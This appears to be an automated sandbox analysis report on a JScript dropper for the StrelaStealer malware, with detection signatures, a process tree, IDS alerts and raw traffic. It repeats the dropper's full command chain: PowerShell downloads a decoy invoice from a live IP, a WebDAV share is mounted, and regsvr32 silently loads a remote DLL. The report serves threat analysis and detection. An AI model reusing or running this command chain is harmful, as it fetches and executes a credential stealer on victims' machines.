Edit tour

Windows Analysis Report
53198678114324144.js

Overview

General Information

Sample name:	53198678114324144.js
Analysis ID:	1588785
MD5:	2692758d419e279b60599413ce18217c
SHA1:	1abb9561fc7bf3649c37d86e5b1c42f4095edc76
SHA256:	f44b6b989df83e5f5ce40ed40b7e9741c94df81063714bd76c082b953de55328
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Desusertion Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7444 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\53198678114324144.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7528 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7536 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7580 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7764 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7976 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7256 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2172 --field-trial-handle=1528,i,8348872387102134558,7204208568266747758,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7780 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7856 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 8040 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7444	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7528, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7580, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7528, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7580, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\53198678114324144.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\53198678114324144.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\53198678114324144.js", ProcessId: 7444, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Desusertion Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DesusertionIp: 193.143.1.205, DesusertionIsIpv6: false, DesusertionPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7856, Protocol: tcp, SourceIp: 192.168.2.9, SourceIsIpv6: false, SourcePort: 49767

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\53198678114324144.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7444, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, ProcessId: 7528, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\53198678114324144.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7444, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, ProcessId: 7528, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\53198678114324144.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7444, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, ProcessId: 7528, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\53198678114324144.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7444, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, ProcessId: 7528, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\53198678114324144.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7444, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, ProcessId: 7528, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\53198678114324144.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\53198678114324144.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\53198678114324144.js", ProcessId: 7444, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7528, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7580, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7780, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7856, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 8040, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7780, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7856, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\53198678114324144.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7444, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll, ProcessId: 7528, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:30:02.978851+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.9	49747	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:30:05.705142+0100	1810005	1	Potentially Bad Traffic	192.168.2.9	49767	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:30:02.978851+0100	1810000	2	Potentially Bad Traffic	192.168.2.9	49747	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 53198678114324144.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 53198678114324144.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.9:49767 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.9:49747 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:30:02 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49767

Source: global traffic

